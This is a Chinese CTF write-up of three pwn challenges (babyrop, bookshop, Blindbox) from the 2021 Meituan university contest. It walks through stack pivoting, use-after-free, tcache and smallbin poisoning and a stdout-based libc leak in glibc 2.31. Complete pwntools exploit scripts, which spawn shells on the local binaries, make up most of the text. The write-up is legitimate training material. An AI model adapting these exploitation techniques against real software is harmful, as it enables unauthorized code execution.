2021美团高校挑战赛-pwn

本文最后更新于:2023年10月15日 晚上

babyrop

main函数代码

vuln函数代码

main函数v6变量仅占24字节,但却允许输入25个字节,刚好可以泄露cookie的值
main函数伪代码中,输入v5的值处,并不是让v5的值为"password",而是要v5的值为"password"的地址

vuln函数中存在栈溢出,但溢出数据长度较小, 仅能做到修改rip的值,所以要通过多次栈迁移构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

libc=ELF('./libc.so.6',checksec=0)
e=ELF('./babyrop',checksec=0)
bss=e.bss(0x700)
leave=0x400759
ret=0x40075a
rdi=0x400913
rsi_15=0x400911
read=0x40072e
read_ret=0x400744

puts=e.plt['puts']
func='puts'
func_got=e.got[func]

p=process('./babyrop')
p.sendafter('name? ','a'*25)
p.readuntil('a'*25)
cookie=u64(b'\x00'+p.read(7))
print(hex(cookie))

p.sendlineafter('challenge',str(0x4009ae))
p.readuntil('message\n')
payload='a'*24+p64(cookie)+p64(bss)+p64(read)
p.send(payload)
print(hex(bss))
payload=p64(bss+0x100)+p64(rdi)+p64(func_got)+p64(cookie)+p64(bss+0x18)+p64(read)
p.send(payload)

payload=p64(puts)+p64(read)+p64(read_ret)+p64(cookie)+p64(bss-0x20)+p64(leave)
p.send(payload)

bss=bss+0x100
d=u64(p.read(6).ljust(8,'\x00'))
print(hex(d))
libc.address=d-libc.sym[func]
bin_sh=libc.search('/bin/sh').next()
system=libc.sym['system']

payload=p64(rdi)+p64(bin_sh)+p64(system)+p64(cookie)+p64(bss-0x28)+p64(leave)
p.send(payload)
p.interactive()

bookshop

main函数代码

create函数代码

delete函数代码

show函数代码

  • 程序中仅允许创建24chunk
  • 每个chunk只有在创建时才能写入
  • 释放时,没有清空指针,存在UAF

目标是向free_hook中写入system函数地址,要实现这个目标,仅利用tcache bin是不够的,需要同时利用unsorted bin,将多个伪造的chunk放入tcache bin中,然后修改tcache bin链表结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* unsorted bin的判定 */
if (__glibc_unlikely (size <= 2 * SIZE_SZ)
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

libc2.31中对unsorted bin的检测已经较为完善了,所以我们需要在unsorted bin原先完整的双链表中添加成员,使其看起来正常,

1
2
3
4
举个例子:
先在unsorted bin中放入两个chunk(a与b)
然后构造payload设置unsorted bin为 a <=> c <=> d <=> b
这时unsorted bin作为一个双链表成立

因为只要对应的tcache bin中没有存满,程序就会将chunk放入对应的tcache bin中,而且这里存在uaf,所以我们只要先将chunk_a放入unsorted bin中,然后通过获取chunk使tcache bin为未存满的状态,然后再释放chunk_a,这样chunk_a就会同时存在于tcache binunsorted bin中,当下次获取chunk时,就会优先从tcache bin中获取,在这时修改chunk_a的值,就可以修改unsorted bin的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
def add(data=' '):
p.sendlineafter('>> ','1')
p.sendafter('Book\n> ',data)

def free(ind):
p.sendlineafter('>> ','2')
p.sendlineafter('bag?',str(ind))

def show(ind):
p.sendlineafter('>> ','3')
p.sendlineafter('read?',str(ind))


libc=ELF('./libc.so.6',checksec=0)
p=process('./bookshop')
p.sendlineafter('number?',str(0x98))

add() #0
add() #1
add() #2
add() #3
add() #4
add() #5
add() #6
add() #7
payload=p64(0xa0)*0x13
add(payload) #8
add(payload) #9
add(payload) #10

for i in range(7):
free(i)

show(1)
p.readuntil('Content: ')
heap_0=u64(p.read(6).ljust(8,'\x00'))-0x10
heap_7=heap_0+0xa0*7
heap_7_1=heap_7+0x30
heap_7_2=heap_7_1+0x20
heap_9=heap_0+0xa0*9
print(hex(heap_0))

free(7)
show(7)
p.readuntil('Content: ')
d=u64(p.read(6).ljust(8,'\x00'))
print(hex(d))
libc.address=d-0x60-0x10-libc.sym['__malloc_hook']
system=libc.sym['system']
free_hook=libc.sym['__free_hook']
free(9)

add() #11,6

free(9)
payload=p64(heap_7_1)+p64(d)
add(payload) #12

free(7)

payload=p64(d)+p64(heap_7_2)+p64(0)*2+\
p64(0)+p64(0xa1)+p64(heap_7_2)+p64(heap_9)+\
p64(0)+p64(0xa1)+p64(heap_7)+p64(heap_7_1)

add(payload) #13,7

for i in range(6):
add()
# -19

add() #20

payload=p64(0)*4+p64(free_hook)

add(payload) #21
add("/bin/bash") #22
add(p64(system)) #23
free(22)

p.interactive()

Blindbox

main函数代码

create函数代码

delete函数代码

show函数代码

pay函数代码

  • 总结出来整个程序就是只能创建三种chunk,三种chunksize由用户指定,但size必须在0x88~0x233之间
  • 程序在释放chunk时,没有清空指针,所以存在UAF
  • 整个程序只能修改两次chunk的数据,其中一次只能修改前0x10的数据,也就是fd,bk字段的数据,另一次会创建一个0xa0chunk,并且写入0x90个字节的数据
  • 程序只能输出chunkfd字段的数据
    当获取到system函数的地址之后,可以利用pay函数获取shell

因为程序只能通过创建一个0xa0大小的chunk,而向某个地址中写入0x90个字节的数据,所以我们需要做的就是将0xa0大小的tcache bin的第一个成员设置为我们要修改的地址,而直接释放chunk,并修改其fd,bk字段,是达不到要求的。所以我们只能先将chunk放入small bin中,然后创建对应大小的chunk,这时程序会将对应的small bin中剩下的chunk逆序存满tcache bin,只要我们修改了small bin中后面的某一个chunkbk字段,就可以达到我们想要的效果

libc 2.31中,通过small bin获取chunk时,只会检测第一个成员,与第二个成员之间的双链表结构是否成立,然后就会将第一个成员返回给用户,让剩余的成员填满tcache bin,在将small bin中的chunk放入tcache bin时,会设置下一个成员的fd段为对应的small bin的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
 /* small bin获取chunk代码 */
if (in_smallbin_range (nb))
{ // 当用户申请的chunk的大小符合small bin时
// 就尝试使用small bin进行分配

idx = smallbin_index (nb);
bin = bin_at (av, idx);
// 获取对应bin

if ((victim = last (bin)) != bin)
{ // 当 bin中存在chunk时,执行下面的指令

bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
// 当small bin中的chunk的数据被非法修改了,就进行报错
// 虽然检测了small bin是否完整,但仅检测最后一个节点
// 所以只要修改不存在于最后一个节点就可以将伪造的chunk放入tcache bin中
// 因为small bin中的chunk的大小都相同,
// 所以再放入tcache bin中时,不会检测大小,
// 这就导致可以将任意地址放入任意tcache bin中

set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
// 将small bin中的第一个chunk 从双链表中删除
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
// 设置chunk的头部,并检测chunk是否合法
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{ // 当tcache bins中对应的bin没有存满时
// 将 small bin中剩余的chunk放入tcache bin中
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
// 设置chunk的 头部,并将其从 bin中删除
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
// 将chunk的数据段初始化之后
// 作为用户的chunk返回
}
}

所以下面的难点就在于如何修改smallbin,通过上面的描述我们知道,使用正常的释放操作,无法在tcache bin未存满的状态下存在chunk,那么方法只有一个,那就是通过分裂一个较大的chunk,来构造一个0xa0chunk,使其存在于unsorted bin中,然后再创建一个较大的chunk,这时就会将unsorted bin中的chunk放入对应的small bin中,因为这里0xa0chunk是由分裂产生的,并不是通过释放获取的,所以正常来说我们是没有这个0xa0大小的chunk的地址,无法修改其数据

这里我们以0xa0 0xc0 0x160大小的chunk举例
首先需要将0xc0 0x160大小对应的tcache bin填满,然后创建两个0xc0chunk_achunk_b
将这两个chunk释放掉,这时chunk_achunk_b都会与top chunk合并,然后创建一个0x160chunk(chunk_a),这里需要再次创建一个chunk(chunk_t),这是为了防止chunk atop chunk合并,释放 chunk_a,这时在unsorted bin中存在一个0x160大小的chunk_a,这时在创建一个0xc0大小的chunk(chunk_a),地址也与a相同,并且分裂出一个0xa0大小的chunk(chunk_b)放在unsorted bin中,因为chunk_achunk_b之间地址相差0xc0,所以这个0xa0大小的chunk其实就是chunk_b,只要再创建一个较大的chunk_t1,就可以将chunk_b放入small bin中,只要我们没有覆盖原先指向chunk_b的指针,我们就可以更改small bin的结构,只要再重复几次前面的操作,就可以绕过small bin的检测,使我们构造的chunk进入tcache bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
"""第一种方法
仅获取small bin的低5字节数据,从而获取libc 基地址
"""
from pwn import *

def add(s,i):
p.sendlineafter('>> ','1')
p.sendlineafter('>>',str(s))
p.sendlineafter('(1-3): ',str(i))


def free(i):
p.sendlineafter('>> ','2')
p.sendlineafter('drop?',str(i))

def show(i):
p.sendlineafter('>> ','3')
p.sendlineafter('open?',str(i))
p.readuntil('Blindbox: ')
return u64(p.read(8))

def edit(i,data):
p.sendlineafter('>> ','4')
p.sendlineafter('change?',str(i))
p.sendafter('content:',data)

def make(data):
p.sendlineafter('>> ','5')
p.sendlineafter('wish',data)

def pay(system):
p.sendlineafter('>> ','6')
for i in [1804289383, 846930886, 1681692777, 1714636915, 1957747793, 424238335, 719885386, 1649760492]:
p.sendlineafter('guess>',str(i^system))

fake_heap=0x66666000
libc=ELF('libc.so.6',checksec=0)
p=process('./Blindbox')
gdb.attach(p)
p.sendlineafter('name:',p64(0)+p64(fake_heap-8)+p64(0)*2)
p.sendlineafter('number?',str(0x98))
p.sendlineafter('number?',str(0xb8))
p.sendlineafter('number?',str(0x158))

for i in range(4):
add(1,1)
free(1)
add(2,2)
free(2)
add(3,3)
free(3)

for i in range(3):
add(2,2)
free(2)
add(3,3)
free(3)

add(3,3)
add(2,2)
free(3)
add(2,2)

add(3,3)
add(2,2)
free(3)
add(2,2)

add(2,1)
add(2,2)
free(2)
free(1)
add(3,3)
add(2,1)
free(3)
add(2,1)
add(2,1)

edit(2,p64(fake_heap-0x10)*2)

add(1,1)

payload=p64(2)+p64(0)+p64(fake_heap+0x20)
# 这里必须为 p64(2)+p64(0)
# 主要是为了伪造chunk为由 mmap创建的chunk,防止calloc在获取chunk时修改了后面的数据
payload=payload.ljust(0x30,'\x00')+p64(fake_heap-0x8)+p64(fake_heap+8+3-0x10)+p64(0)
make(payload)

add(1,1)
d=show(1)
d=(d>>24)|(0x7f<<40)
malloc_hook=d-0x10-0x60-0x90
print(hex(d))
libc.address=malloc_hook-libc.sym['__malloc_hook']
system=libc.sym['system']
pay(system)

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
"""第二种方法
通过修改_IO_2_1_stdout_ 在输出时泄露libc 地址
"""
from pwn import *

def add(s,i):
p.sendlineafter('>> ','1')
p.sendlineafter('>>',str(s))
p.sendlineafter('(1-3): ',str(i))


def free(i):
p.sendlineafter('>> ','2')
p.sendlineafter('drop?',str(i))

def show(i):
p.sendlineafter('>> ','3')
p.sendlineafter('open?',str(i))
p.readuntil('Blindbox: ')
return u64(p.read(8))

def edit(i,data):
p.sendlineafter('>> ','4')
p.sendlineafter('change?',str(i))
p.sendafter('content:',data)

def make(data):
p.sendlineafter('>> ','5')
p.sendafter('wish: ',data)

def pay(system):
p.sendlineafter('>> ','6')
for i in [1804289383, 846930886, 1681692777, 1714636915, 1957747793, 424238335, 719885386, 1649760492]:
p.sendlineafter('guess>',str(i^system))

def pwn():
fake_heap=0x66666000
libc=ELF('libc.so.6',checksec=0)
#gdb.attach(p)
p.sendlineafter('name:',p64(0)+p64(fake_heap-8)+p64(0)*2)
p.sendlineafter('number?',str(0x98))
p.sendlineafter('number?',str(0xb8))
p.sendlineafter('number?',str(0x158))

for i in range(4):
add(1,1)
free(1)
add(2,2)
free(2)
add(3,3)
free(3)

for i in range(3):
add(2,2)
free(2)
add(3,3)
free(3)

add(3,3)
add(2,2)
free(3)
add(2,2)

add(3,3)
add(2,2)
free(3)
add(2,2)

add(2,1)
add(2,2)
free(2)
free(1)
add(3,3)
add(2,1)
free(3)
add(2,1)
add(2,1)
n=0x8690
edit(2,p64(fake_heap-0x10)+p16(n))

add(1,1)

#pause()
fake_IO=p64(0xfbad1887)+p64(0)*3+p16(n+8)

make(fake_IO)

d=u64(p.read(8))
if d>>40 <0x7f:
print(123)
return
libc.address=d-libc.sym['_IO_file_jumps']
system=libc.sym['system']
pay(system)
p.interactive()

while True:
try:
p=process('./Blindbox')
pwn()
except Exception as e:
print(e)
p.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
"""第三种方法
程序在输出chunk时,仅检测了chunk的fd字段处是否存在值为0x7f的字节,
并未检测是否存在值为0x7e的字节
而在某些情况下libc的地址就在0x7exxxxxxxxxx处,
通过多次尝试,只要libc基地址在0x7exxxxxxxxxx处就可以获取shell
"""
from pwn import *

def add(s,i):
p.sendlineafter('>> ','1')
p.sendlineafter('>>',str(s))
p.sendlineafter('(1-3): ',str(i))


def free(i):
p.sendlineafter('>> ','2')
p.sendlineafter('drop?',str(i))

def show(i):
p.sendlineafter('>> ','3')
p.sendlineafter('open?',str(i))
p.readuntil('Blindbox: ',timeout=0.1)
return u64(p.read(8))

def edit(i,data):
p.sendlineafter('>> ','4')
p.sendlineafter('change?',str(i))
p.sendafter('content:',data)

def make(data):
p.sendlineafter('>> ','5')
p.sendafter('wish: ',data)

def pay(system):
p.sendlineafter('>> ','6')
for i in [1804289383, 846930886, 1681692777, 1714636915, 1957747793, 424238335, 719885386, 1649760492]:
p.sendlineafter('guess>',str(i^system))

def pwn():
fake_heap=0x66666000
libc=ELF('libc.so.6',checksec=0)
#gdb.attach(p)
p.sendlineafter('name:',p64(0)+p64(fake_heap-8)+p64(0)*2)
p.sendlineafter('number?',str(0x98))
p.sendlineafter('number?',str(0xb8))
p.sendlineafter('number?',str(0x158))

for i in range(7):
add(1,1)
free(1)
add(1,1)
add(1,2)
free(1)
d=show(1)
if ((d>>40)&0xff) != 0x7e:
return
d=d-0x60-0x10
libc.address=d-libc.sym['__malloc_hook']
system=libc.sym['system']
pay(system)
p.interactive()

while True:
try:
p=process('./Blindbox')
pwn()
except Exception as e:
print(e)
p.close()

2021美团高校挑战赛-pwn
https://rot-will.github.io/page/wp/2021美团高校挑战赛-pwn/
作者
rot_will
发布于
2022年8月8日
更新于
2023年10月15日
许可协议